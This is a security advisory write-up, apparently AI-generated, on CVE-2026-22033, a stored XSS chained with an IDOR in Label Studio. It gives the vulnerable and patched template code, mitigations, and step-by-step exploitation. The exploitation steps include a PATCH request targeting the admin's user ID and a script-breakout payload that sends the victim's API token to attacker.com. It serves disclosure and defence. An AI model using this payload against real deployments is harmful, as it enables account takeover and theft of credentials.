CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Dashboard
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-22033
8.60.01%

Hotkeys from Hell: Stored XSS & IDOR in Label Studio

Amit Schendel
Amit Schendel
Senior Security Researcher

Feb 21, 2026·6 min read·6 visits

PoC Available

Executive Summary (TL;DR)

Label Studio versions <= 1.22.0 are vulnerable to Stored XSS via the 'custom_hotkeys' user profile field. Due to an IDOR in the user update API, an attacker can modify *any* user's hotkeys. By injecting a payload containing specific HTML closing tags, the attacker can break out of the JSON context in the browser and execute arbitrary JavaScript when the victim loads the application.

A textbook example of how a 'convenient' feature implementation can lead to total system compromise. HumanSignal's Label Studio, a widely used data labeling tool for machine learning pipelines, contained a critical Stored Cross-Site Scripting (XSS) vulnerability chained with an Insecure Direct Object Reference (IDOR). This combination allowed unprivileged attackers to inject malicious JavaScript into the profiles of administrators, leading to account takeover and potential ML dataset poisoning.

The Hook: Labeling Your Demise

In the gold rush of 2026, every company is an 'AI company,' and every AI company needs data labeling. Enter Label Studio: the open-source darling of the MLOps world. It allows teams to annotate images, audio, and text to train models. It is often deployed internally, filled with sensitive datasets, and then promptly forgotten about by the security team.

But here's the thing about internal tools: they often prioritize functionality over fortitude. The developers assume that 'only trusted users' will have access. That assumption is the bread and butter of exploit developers.

CVE-2026-22033 isn't just a simple bug; it's a architectural lesson in why you shouldn't trust your own database. The vulnerability resides in how Label Studio handles user preferences—specifically, custom hotkeys. It turns out, the way the application renders these preferences to the frontend created a perfect storm for Stored XSS. And, thanks to a bonus IDOR vulnerability, you don't even need to trick a user into clicking a link. You can just overwrite their settings and wait for them to log in.

The Flaw: Trust, but Don't Verify

The root cause of this vulnerability is a classic disconnect between data serialization (JSON) and the context in which it is rendered (HTML). The developers wanted to pass the user's custom hotkey configuration from the Python backend (Django) to the React frontend. To do this, they dumped the JSON directly into a <script> tag in the base HTML template.

Here is the fatal mistake: they assumed that json.dumps was sufficient to sanitize the data. While json.dumps ensures that the output is valid JSON, it does not care about HTML context. Specifically, it does not escape the characters < or >.

When a browser parses HTML, it doesn't care if it's currently inside a JavaScript string. If it sees the sequence </script>, it immediately terminates the script block. This is HTML parsing 101, yet it bites developers time and time again. By injecting </script><script>..., an attacker can close the legitimate script block and open a new one, executing arbitrary code.

The Code: The Smoking Gun

Let's look at the crime scene in label_studio/templates/base.html. This is where the backend hands off data to the frontend.

The Vulnerable Code:

<!-- The |safe filter is the smoking gun here -->
var __customHotkeys = {{ user.custom_hotkeys|json_dumps_ensure_ascii|safe }};

The |safe filter is Django's way of saying, "I trust this data, don't auto-escape it." The developers likely added this because auto-escaping would turn the JSON quotes into &quot;, breaking the JavaScript syntax. They traded security for convenience.

The Fix (Commit ea2462bf042bbf370b79445d02a205fbe547b505):

The patch introduces a new filter, escape_lt_gt, which specifically targets the HTML-breaking characters before marking the string as safe.

<!-- Now with 100% more escaping -->
var __customHotkeys = {{ user.custom_hotkeys|json_dumps_ensure_ascii|escape_lt_gt|safe }};

This simple change ensures that if an attacker injects </script>, it gets rendered as \u003c/script\u003e (or similar encoding), keeping it safely inside the string literal.

The Exploit: Hotkeys from Hell

Now for the fun part. If this were just a Stored XSS in my own profile, it would be a low-severity "Self-XSS." I'd have to social engineer you into logging into my account. But CVE-2026-22033 comes with a sidecar: an Insecure Direct Object Reference (IDOR) in the User API.

Step 1: The Setup

We authenticate as a low-level user. We inspect the network traffic when we update our profile and see a request to PATCH /api/users/1337/. Naturally, we change the ID to 1 (usually the admin).

Step 2: The Injection

We craft a malicious JSON payload for the custom_hotkeys field. We aren't setting a hotkey for "Save"; we are setting a hotkey for "Pwn".

{
  "custom_hotkeys": {
    "pwn": "</script><script>fetch('/api/current-user/token').then(r=>r.json()).then(d=>fetch('https://attacker.com/?token='+d.token))</script>"
  }
}

Step 3: Execution

We send the PATCH request. The server accepts it because of the IDOR. The database now stores this payload in the Admin's profile.

When the Admin logs in next, base.html renders. The browser parses the variable assignment, hits the </script>, closes the block, and immediately executes our token-stealing fetch. We now have the Admin's API token. Game over.

The Impact: Poisoning the Well

Why is this scary? It's not just about popping an alert box. In a Machine Learning context, integrity is everything.

  1. Account Takeover: With the stolen API token, we have full administrative access. We can create new users, delete projects, or exfiltrate proprietary datasets.
  2. Dataset Poisoning: This is the subtle killer. An attacker could use the API access to subtly modify labels in the training data. Imagine changing the labels on a self-driving car dataset so that "Stop Sign" is labeled as "Speed Limit 60". You haven't just hacked a server; you've sabotaged the AI model itself.
  3. Wormable Potential: Because the XSS executes automatically on page load, the script could be designed to use the victim's session to inject the same payload into other users' profiles, spreading through the organization like a virus.

The Mitigation: Sanitize Your Inputs

If you are running Label Studio <= 1.22.0, you are sitting on a ticking time bomb. The remediation is straightforward.

Immediate Actions:

  1. Patch: Upgrade to version 1.22.1 or later immediately. The fix is included in the main branch.
  2. Audit: Run a database query on the user_profile table (or equivalent) to check the custom_hotkeys column. Look for <script>, onload, onerror, or any other HTML tags. If you find them, assume compromise.
  3. Rotate Tokens: Force a reset of all API tokens, as you cannot be sure which ones have been exfiltrated silently.

Developer Lesson:

Never, ever, ever use |safe (or dangerouslySetInnerHTML in React) unless you have personally vetted the data flow and applied context-aware escaping. json.dumps is for machines, not for HTML parsers.

Official Patches

HumanSignalGitHub Commit fixing the XSS vulnerability

Fix Analysis (1)

Technical Appendix

CVSS Score
8.6/ 10
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N
EPSS Probability
0.01%
Top 99% most exploited

Affected Systems

HumanSignal Label Studio <= 1.22.0

Affected Versions Detail

Product
Affected Versions
Fixed Version
Label Studio
HumanSignal
<= 1.22.01.22.1
AttributeDetail
CWE IDCWE-79 (XSS) & CWE-284 (IDOR)
CVSS v4.08.6 (High)
Attack VectorNetwork (Authenticated)
ImpactAccount Takeover / Data Manipulation
Exploit StatusPoC Available
EPSS Score0.0001 (Low Probability)

MITRE ATT&CK Mapping

T1189Drive-by Compromise
Initial Access
T1552Unsecured Credentials
Credential Access
T1098Account Manipulation
Persistence
CWE-79
Cross-site Scripting (XSS)

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Known Exploits & Detection

Internal ResearchProof of concept demonstrating IDOR to Stored XSS chain via custom_hotkeys.

Vulnerability Timeline

Fix committed to GitHub
2025-12-29
Vulnerability Disclosed / CVE Assigned
2026-01-12

References & Sources

  • [1]Label Studio Repository

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.